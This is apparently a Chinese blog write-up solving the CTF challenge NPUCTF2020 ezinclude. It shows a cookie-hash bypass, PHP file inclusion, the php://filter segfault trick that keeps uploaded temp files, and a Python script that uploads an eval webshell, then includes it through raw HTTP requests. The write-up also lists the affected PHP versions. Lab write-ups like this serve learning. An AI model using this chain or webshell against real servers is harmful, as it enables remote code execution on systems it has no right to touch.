# BUUOJ-[NPUCTF2020]ezinclude 1

# 涉及的知识点

  • 文件上传时的临时文件
  • php7 文件上传时 Segment Fault ,上传的临时文件不会被删除
  • 绕过 disable_functions

# 解题过程

​ 扫个目录,存在 index.phpdir.php404.html

404.html 没啥用,先看 dir.php ,好像获取目录内文件的,但是不知道是什么地方的,之后看看。

index.php 抓个包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 27 Oct 2025 14:20:37 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 73
Connection: close
X-Powered-By: PHP/7.0.33
Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a; expires=Mon, 08-Dec-2025 06:20:37 GMT; Max-Age=3600000
Vary: Accept-Encoding
Cache-Control: no-cache

username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>

​ 看到 <!--md5($secret.$name)===$pass --> 提示

  • Set-Cookie 中的 Hash 就是 $md5($secret.$name) (经典脑洞)
  • 如果 $name='' ,则有 $md5($secret.$name)===$md5($secret)===上面的Hash
  • /?pass=上面的Hash 即可,或者带上 &name= 传递空值

​ 这里是个脑洞,不知道怎么写,大神的博客里的解法是这样的,之后访问 get 传参 pass 为 hash 的值:

1
2
3
4
5
6
7
8
9
10
11
12
GET /?pass=fa25e54758d5d5c1927781a6ede89f8a HTTP/1.1
Host: 0ab02601-d4bd-4e33-94da-895a0ac553e6.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a
Upgrade-Insecure-Requests: 1
Priority: u=0, i


​ 得到回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 27 Oct 2025 14:23:02 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 165
Connection: close
X-Powered-By: PHP/7.0.33
Vary: Accept-Encoding
Cache-Control: no-cache

<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>

​ 访问 flflflflag.php ,会 302,butp 重放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 27 Oct 2025 14:24:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 241
Connection: close
X-Powered-By: PHP/7.0.33
Vary: Accept-Encoding
Cache-Control: no-cache

<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

​ 提示文件包含,读下相关文件 index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

​ 发现 data,input,zip 三个伪协议被杨了。

​ 读一下 dir.php

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

​ 是读取的临时文件,之前说过了,

php7 文件上传时 Segment Fault ,上传的临时文件不会被删除

这里需要用到一个特性,在上传文件时,如果出现 Segment Fault ,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要 HTTP 请求中存在文件,那么就会被保存为临时文件,当前 HTTP 请求处理完成后,垃圾回收机制会自动删除临时文件。

使 php 陷入死循环直,产生 Segment Fault 的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)

  • 使用
1
php://filter/string.strip_tags/resource=文件
  • 版本要求:

    • php7.0.0-7.1.2
    • php7.1.3-7.2.1
    • php7.2.2-7.2.8
  • 使用

1
php://filter/convert.quoted-printable-encode/resource=文件
  • 版本要求:
    • php<=5.6.38
    • php7.0.0-7.0.32
    • php7.0.4-7.2.12
  • 函数要求
    • file
    • file_get_contents
    • readfile

​ 这个时候直接用下面这个代码:

1
2
3
4
5
6
7
8
import requests
from io import BytesIO

url = "http://0f5a7ab3-e7a9-44aa-82ec-fc6ee05919ff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = "<?php eval($_POST['cmd']);?>"
file_data = {"file": BytesIO(payload.encode())}
res = requests.post(url=url,files=file_data, allow_redirects=False)
print(res)
  • 存储路径,由
1
php.ini

中的

1
upload_tmp_dir

指定,

  • linux 下默认值 /tmp/

  • windwos 下默认值 C:/Windwos or C:/Windwos/Temp/

  • 命名规则

  • linux 下, php+6个随机字符

  • windows 下, php+4个随机字符.tmp

  • 生命周期

  • 开始处理带有文件的 POST 请求

  • 保存临时文件,并写入数据

  • 执行 php 脚本

  • 删除临时文件

​ 这里可以直接访问 dir.php 获得文件名。

​ 之后通过 flflflflag.php 进行临时文件包含即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /flflflflag.php?file=../../../tmp/php7nXFiI HTTP/1.1
Host: 0ab02601-d4bd-4e33-94da-895a0ac553e6.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

​ flag 在 phpinfo 里。

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝